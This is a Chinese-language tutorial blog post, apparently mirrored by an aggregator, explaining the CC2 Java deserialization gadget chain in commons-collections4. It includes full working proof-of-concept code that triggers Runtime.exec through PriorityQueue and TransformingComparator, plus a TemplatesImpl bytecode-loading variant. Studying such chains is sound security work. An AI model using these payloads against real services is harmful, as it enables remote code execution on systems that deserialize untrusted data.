1

Java安全之CC2 - gk0d

 1 year ago
source link: https://www.cnblogs.com/gk0d/p/16886428.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言#

由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

commons-collections4的改动#

因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:

<dependencies>
 <!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
 	<dependency>
 		<groupId>commons-collections</groupId>
 		<artifactId>commons-collections</artifactId>
 		<version>3.2.1</version>
 	</dependency>
 <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
 	<dependency>
 		<groupId>org.apache.commons</groupId>
 		<artifactId>commons-collections4</artifactId>
 		<version>4.0</version>
 </dependency>
</dependencies

因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

image-20221113163408075

看下decorate的定义,⾮常简单:

public static Map decorate(Map map, Transformer factory) {
 	return new LazyMap(map, factory);
}

这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap

public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
  return new LazyMap<K,V>(map, factory);
}

所以,我们将Gadget中出错的代码换⼀下名字:

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

image-20221113163615717

同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用

commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。

CC2#

其中两个关键类:

  • java.util.PriorityQueue -
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

image-20221113164323444

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:

public int compare(final I obj1, final I obj2) {
 	final O value1 = this.transformer.transform(obj1);
	final O value2 = this.transformer.transform(obj2);
 	return this.decorated.compare(value1, value2);
}

所以CC2实际就是⼀条从 PriorityQueueTransformingComparator的利⽤链

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
			PriorityQueue.heapify()
			PriorityQueue.siftDown()
			PriorityQueue.siftDownUsingComparator()
			
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

开始编写POC,⾸先,还是创建Transformer:

Transformer[] fakeTransformers = new Transformer[] {
   				 new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
                )};
        Transformer chain = new ChainedTransformer(transformers);

再创建⼀个TransformingComparator,传⼊我们的Transformer

Comparator comparator = new TransformingComparator(chain)

实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,

setFieldValue(transformerChain, "iTransformers", transformers)

完整poc如下

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

        public static void main(String[] args) throws Exception{
            Transformer[] fakeTransformers = new Transformer[]{
                    new ConstantTransformer(1)};
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"calc.exe"}
                    )};

            Transformer chain = new ChainedTransformer(fakeTransformers);
            Comparator comparator = new TransformingComparator(chain);

            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(2);

            setFieldValue(chain, "iTransformers", transformers);

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr);

            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object) ois.readObject();


        }
    }

image-20221113172411046

CC2改进#

前边说过了利⽤TemplatesImpl可以构造出⽆Transformer数组的利⽤链,可以将CC2这条链也进行改造。

public class CommonsCollections2TemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK